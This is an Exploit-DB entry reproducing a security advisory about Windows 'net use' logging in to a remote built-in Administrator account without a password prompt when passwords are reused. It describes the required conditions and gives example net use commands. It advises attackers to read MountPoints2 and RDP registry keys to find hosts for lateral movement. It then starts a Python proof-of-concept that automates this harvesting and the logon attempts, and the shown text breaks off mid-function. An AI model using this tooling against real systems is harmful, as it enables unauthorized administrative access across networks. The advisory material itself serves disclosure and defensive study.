Exploit-DB #48299
Description: Microsoft NET USE win10 - Insufficient Authentication Logic
Type: local
Platform: windows
Date: 2020-04-06
Author: hyp3rlinx

Exploit:
# Title: Microsoft NET USE win10 - Insufficient Authentication Logic
# Date: 2020-04-04
# Author: hyp3rlinx
# Vendor: www.microsoft.com
# CVE: N/A


[+] Credits: John Page (aka hyp3rlinx)		
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-NET-USE-INSUFFICIENT-PASSWORD-PROMPT.txt
[+] twitter.com/hyp3rlinx
[+] ISR: ApparitionSec


[Vendor]
www.microsoft.com


[Product]
Windows "net use" Command

Connects a computer to or disconnects a computer from a shared resource, or displays information about computer connections.
The command also controls persistent net connections. Used without parameters, net use retrieves a list of network connections.


[Vulnerability Type]
Insuffient Password Prompt


[CVE Reference]
N/A


[Security Issue]
The Windows "net use" network logon type-3 command does not prompt for authentication when the built-in Administrator account
is enabled and both remote and originating systems suffer from password reuse. This also works as "standard" user but unfortunately
we do not gain high integrity privileges. However, it opens the door and increases the attack surface if the box we laterally move to
has other vulnerabilities present.

In contrast authenticating using the "unc path" "\\x.x.x.x\c$" using an explorer type logon does prompt for credentials as expected.
The authentication mechanism between the two network logon methods are inconsistent and in my opinion leaves an authentication loophole invitation.
Moreover, since this targets built-in Administrator account, one would think there would be more or equal security measures in place not less.

Requirements:
1) Remote system built-in Administrator account is enabled
2) Origination system users account password and the remote system Administrator passwords match (reuse).

Typically, to gain Admin privileges on remote logon you may have to create and enable "LocalAccountTokenFilterPolicy" but NOT in this case.
Again, the "LocalAccountTokenFilterPolicy" registry setting does NOT need to exist and is NOT enabled and has no bearing on the issue.

However, if "FilterAdministratorToken" is enabled in registry on the remote system then the above loophole scenario fails.
Interestingly, the "FilterAdministratorToken" setting does not seem to exist by default in the Windows registry.

Therefore, if an attacker pops a box they can check "MountPoints2" registry values usually used by forensic analysts for previous network connections
and try them and if theres password reuse (likely) BOOM automagic logon.

This vuln occurs due to an inconsistent password dialog prompting and whether the "net use" logon method is used.
When testing make sure to logout then log back in after changing passwords so the environment is clean.

e.g.

1) Passwords for both systems are different and remote built-in Administrator account active:

C:\sec>net use z: \\192.168.x.x\c$ /user:Administrator

Enter the password for 'Administrator' to connect to '192.168.x.x':
System error 5 has occurred.

Access is denied.

2) Passwords for both origination system and remote match:

C:\sec>net use z: \\192.168.x.x\c$ /user:Administrator
The command completed successfully.

By the way as a side note DCERPC calls work as well, if both systems happen to have same password.
c:\>getmac /s x.x.x.x /U Administrator

MSRC in their response, pointed out that "No login prompt on remote connection if both Administrator password are the same."
Ok, but why does "net use" not follow the same pattern as doing a UNC-Path type of logon, where we get the expected cred dialog box?

Expected result: Consistent password dialog box, no matter if passwords match or not.
Actual Result: No prompt for a password if both systems passwords are the same.

Tested successfully on fully patched Windows 10 using VM, also across LAN to a non-domain connected PC.


[Exploit/POC]
import os,re,time,signal,sys
from subprocess import *
from multiprocessing import Process

#By John Page (aka hyp3rlinx)
#Apparition Security
#twitter.com/hyp3rlinx
#-----------------------------------
#When a remote systems built-in Administrator account is enabled and both the remote and the target system
#passwords match (password reuse) theres no prompt for credentials and we get logged in automagically.
#
#MountPoints2 and Terminal server client hints in the Windows registry can help us.
#Typically, MountPoints2 is used by Forensic analysts to help determine where an attacker laterally moved to previously.
#REG Query HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2 /F "##" (we want network logons)
#MountPoints2 key entries are stored like '##10.2.1.40#c$'
#-----------------------------------------------------------

BANNER="""
    _   ______________   ___    ____  __  _______ ______
   / | / / ____/_  __/  /   |  / __ )/ / / / ___// ____/
  /  |/ / __/   / /    / /| | / __  / / / /\__ \/ __/   
 / /|  / /___  / /    / ___ |/ /_/ / /_/ /___/ / /___   
/_/ |_/_____/ /_/    /_/  |_/_____/\____//____/_____/   

                                          By Hyp3rlinx
                                          ApparitionSec
"""

DRIVE="X"
FINDME="The command completed successfully."
REG_MOUNT2='REG Query HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2 /F "##"'
REG_RDPUSERS="REG Query \"HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers\""+" /s"
VULN_FOUND=set()
DELAY=2   #Any lower and we may get inaccurate results.
rdp_server_lst=[]

#Return prior network logons to remote systems.
def mountpoints2():
    mntpoint2_connections=[]
    try:
        p = Popen(REG_MOUNT2, stdout=PIPE, stderr=PIPE, shell=True)
        tmp = p.stdout.readlines()
    except Exception as e:
        print("[!] "+str(e))
        return False
    for x in tmp:
        idx = x.